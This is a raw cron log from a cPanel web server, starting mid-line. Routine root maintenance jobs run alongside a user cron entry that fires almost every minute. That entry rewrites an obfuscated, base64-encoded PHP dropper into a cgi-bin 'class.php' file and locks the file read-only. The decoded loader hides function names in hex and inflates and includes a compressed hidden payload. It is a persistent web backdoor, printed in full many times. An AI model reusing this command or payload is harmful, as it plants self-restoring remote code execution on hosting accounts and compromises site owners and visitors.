"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:56:01 server CROND[18089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:56:01 server CROND[18090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:56:01 server CROND[18091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:57:01 server CROND[18459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:57:01 server CROND[18460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:57:01 server CROND[18461]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 02:57:01 server CROND[18462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:58:01 server CROND[18845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:58:01 server CROND[18846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:58:01 server CROND[18847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:59:01 server CROND[19223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:59:01 server CROND[19226]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep 12 02:59:01 server CROND[19227]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:59:01 server CROND[19228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:00:01 server CROND[19630]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:00:01 server CROND[19628]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 03:00:01 server CROND[19631]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 03:00:01 server CROND[19633]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 03:00:01 server CROND[19636]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 03:00:01 server CROND[19643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:00:01 server CROND[19644]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:00:01 server CROND[19645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:00:01 server CROND[19646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:01:01 server CROND[20715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:01:01 server CROND[20716]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 03:01:01 server CROND[20718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:01:01 server CROND[20719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:01:01 server run-parts(/etc/cron.hourly)[20716]: starting 0anacron
Sep 12 03:01:01 server anacron[20736]: Anacron started on 2026-09-12
Sep 12 03:01:01 server run-parts(/etc/cron.hourly)[20738]: finished 0anacron
Sep 12 03:01:01 server anacron[20736]: Will run job `cron.daily' in 47 min.
Sep 12 03:01:01 server anacron[20736]: Jobs will be executed sequentially
Sep 12 03:02:01 server CROND[21096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:02:01 server CROND[21098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:02:01 server CROND[21099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:03:01 server CROND[21473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:03:01 server CROND[21474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:03:01 server CROND[21475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:04:01 server CROND[21848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:04:01 server CROND[21849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:04:01 server CROND[21851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:05:01 server CROND[22279]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 03:05:01 server CROND[22281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:05:01 server CROND[22287]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:05:01 server CROND[22288]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 03:05:01 server CROND[22293]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:05:01 server CROND[22297]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 03:05:01 server CROND[22298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:05:01 server CROND[22292]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:06:01 server CROND[23398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:06:01 server CROND[23400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:06:01 server CROND[23399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:07:01 server CROND[23769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
